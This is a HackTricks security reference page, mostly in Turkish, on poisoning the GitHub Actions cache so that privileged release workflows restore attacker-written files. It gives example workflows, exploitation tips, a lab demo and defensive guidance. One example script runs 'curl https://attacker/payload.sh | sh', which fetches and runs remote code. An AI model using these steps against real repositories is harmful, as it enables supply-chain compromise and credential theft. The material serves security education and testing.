GH Actions - Cache Poisoning

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

The GitHub Actions cache bir repository düzeyindedir. Bir cache key’ini (veya restore-keys) bilen herhangi bir workflow, job sadece permissions: contents: read olsa bile o girdiyi doldurabilir. GitHub, önbellekleri workflow, event türü veya güven seviyesi bazında ayırmaz; bu yüzden düşük ayrıcalıklı bir job’u ele geçiren bir saldırgan, daha sonra ayrıcalıklı bir release job’un geri yükleyeceği bir önbelleği zehirleyebilir. Ultralytics ihlalinin pull_request_target workflow’ünden PyPI publishing pipeline’ına böyle pivotlandı.

Saldırı Temelleri

  • actions/cache hem restore hem save operasyonlarını sunar (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Save çağrısı, forks’tan tetiklenen gerçekten güvensiz pull_request workflow’ları hariç herhangi bir job için izinlidir.
  • Önbellek girdileri yalnızca key ile tanımlanır. Geniş restore-keys payload enjekte etmeyi kolaylaştırır çünkü saldırganın sadece bir önek ile çakışması yeterlidir.
  • Cache anahtarları ve sürümleri istemci tarafından belirtilen değerlerdir; cache servisi bir key/version’ın güvenilir bir workflow veya önbellek yolu ile eşleşip eşleşmediğini doğrulamaz.
  • Cache server URL + runtime token, workflow’e göre uzun ömürlüdür (tarihlerde ~6 saat iken şimdi ~90 dakika) ve kullanıcı tarafından iptal edilemez. 2024 sonu itibarıyla GitHub, orijinal job tamamlandıktan sonra cache yazmalarını engelliyor; bu yüzden saldırganların job hâlâ çalışırken yazmaları veya gelecekteki anahtarları önceden zehirlemeleri gerekir.
  • Önbelleğe alınmış dosya sistemi olduğu gibi geri yüklenir. Eğer cache daha sonra çalıştırılan scriptler veya ikili dosyalar içeriyorsa, saldırgan o yürütme yolunu kontrol eder.
  • Cache dosyasının kendisi restore sırasında doğrulanmaz; o sadece zstd ile sıkıştırılmış bir arşivdir, dolayısıyla zehirlenmiş bir giriş scriptleri, package.json’ı veya restore yolundaki diğer dosyaları üzerine yazabilir.

Örnek sömürü zinciri

Author workflow (pull_request_target) önbelleği zehirledi:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow poisoned cache’i geri yükledi ve çalıştırdı:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

İkinci job artık release kimlik bilgilerini (PyPI tokens, PATs, cloud deploy keys, etc.) elinde tutarken saldırgan kontrollü kodu çalıştırıyor.

Poisoning mechanics

GitHub Actions cache girişleri genellikle zstd-sıkıştırılmış tar arşivleridir. Yerel olarak bir tane oluşturup cache’e yükleyebilirsiniz:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

Pratik istismar ipuçları

  • pull_request_target, issue_comment tetiklenen veya hâlâ cache kaydeden bot komutlarını hedefleyin; GitHub, runner’ın repoya yalnızca read erişimi olsa bile repository-genel anahtarları üzerine yazılmasına izin verir.
  • Güven sınırları arasında yeniden kullanılan deterministik cache anahtarları (ör. pip-${{ hashFiles('poetry.lock') }}) veya hoşgörülü restore-keys arayın; ayrıcalıklı workflow çalışmadan önce kötü niyetli tarball’ınızı kaydedin.
  • Loglarda Cache saved girdilerini izleyin veya kendi cache-save adımınızı ekleyin, böylece sonraki release job payload’u geri yükler ve trojanlanmış script’ler veya ikili dosyaları çalıştırır.

Angular (2026) zincirinde görülen daha yeni teknikler

  • Cache v2 “prefix hit” behavior: Cache v2’de, tam eşleşme olmaması durumunda bile aynı anahtar önekiyle paylaşan başka bir giriş geri yüklenebilir (etkili olarak “tüm anahtarlar restore key’dir”). Saldırganlar, gelecekteki bir miss’in zehirlenmiş nesneye düşmesi için yakın çakışma anahtarlarını önceden yerleştirebilir.
  • Tek çalıştırmada zorunlu tahliye (forced eviction): 20 Kasım 2025’ten itibaren, repository cache kullanımı sınırı (varsayılan 10 GB) aşıldığında GitHub girişleri hemen tahliye eder. Bir saldırgan önce gereksiz cache verisi yükleyip aynı iş içinde meşru girişleri tahliye edebilir ve sonra günlük temizleme döngüsünü beklemeden kötü amaçlı cache anahtarını yazabilir.
  • setup-node cache pivots via reusable actions: actions/setup-node’u cache-dependency-path ile saran reusable/internal action’lar düşük-güvenli ve yüksek-güvenli iş akışlarını sessizce birbirine bağlayabilir. Her iki yol da paylaşılan anahtarlara hashleniyorsa, dependency cache’i zehirlemek ayrıcalıklı otomasyonda (ör. Renovate/bot jobs) yürütülebilir.
  • Bot-tahrikli supply chain istismarıyla zincirleme cache poisoning: Angular vakasında, cache poisoning bir bot PAT’sini ortaya çıkardı; bu PAT daha sonra onaylandıktan sonra bot’a ait PR head’lerini force-push etmek için kullanılabildi. Eğer onay-sıfırlama kuralları bot aktörleri muaf tutuyorsa, bu merge öncesi incelenmiş commit’lerin kötü amaçlı olanlarla (ör. taklitçi action SHA’ları) değiştirilmesine olanak verir.

##å Cacheract

Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. Pratik faydası, manuel olarak kolayca yanlış yapılabilen kırılgan kısımları otomatikleştirmesidir:

  • Runner’dan çalışma zamanı cache bağlamını tespit edip kullanmak (ACTIONS_RUNTIME_TOKEN ve cache servis URL’si).
  • Downstream iş akışlarında kullanılan aday cache anahtarlarını/sürümlerini enumerate edip hedeflemek.
  • Quota doluluk sınırını aşarak (uygunsa) tahliyeyi zorlamak ve aynı çalıştırmada saldırgan kontrollü girdileri yazmak.
  • Zehirlenmiş cache içeriği tohumlayarak sonraki workflow’ların değiştirilmiş tooling’i geri yükleyip çalıştırmasını sağlamak.

Bu, zamanlama ve anahtar/sürüm davranışının erken cache uygulamalarından daha önemli olduğu Cache v2 ortamlarında özellikle yararlıdır.

Demo

Bunu yalnızca sahip olduğunuz veya açıkça test etmenize izin verilen repository’lerde kullanın.

1. Zayıf iş akışı (güvenilmeyen tetikleyici cache kaydedebilir)

Bu iş akışı bir pull_request_target anti-pattern’ini simüle eder: attacker-controlled bağlamdan cache içeriği yazar ve deterministik bir anahtar altında kaydeder.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Ayrıcalıklı iş akışı (önbelleğe alınmış ikili/komut dosyasını geri yükler ve çalıştırır)

Bu iş akışı aynı anahtarı geri yükler ve dummy secret tutarken toolchain/bin/build’i çalıştırır. Eğer zehirlenmişse, yürütme yolu saldırgan tarafından kontrol edilir.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Laboratuvarı çalıştır

  • Kararlı bir toolchain.lock dosyası ekle, böylece her iki workflow da aynı cache key’i çözer.
  • Bir test PR’den untrusted-cache-writer tetikle.
  • workflow_dispatch ile privileged-consumer tetikle.
  • POISONED_BUILD_PATH’in logs’ta göründüğünü ve /tmp/cache-poisoning-demo.txt dosyasının oluşturulduğunu doğrula.

4. What this demonstrates technically

  • Cross-workflow cache trust break: The writer and consumer workflows do not share trust level, but they share cache namespace.
  • Execution-on-restore risk: No integrity validation is performed before executing a restored script/binary.
  • Deterministic key abuse: If a high-trust job uses predictable keys, a low-trust job can preposition malicious content.

5. Savunma — doğrulama kontrol listesi

  • Anahtarları trust boundary’e göre ayır (pr-, ci-, release-) ve paylaşılan prefix’lerden kaçın.
  • Untrusted workflow’larda cache yazmalarını devre dışı bırak.
  • Çalıştırmadan önce geri yüklenen yürütülebilir içeriği hash’le/doğrula.
  • Araçları doğrudan cache path’lerinden çalıştırmaktan kaçın.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin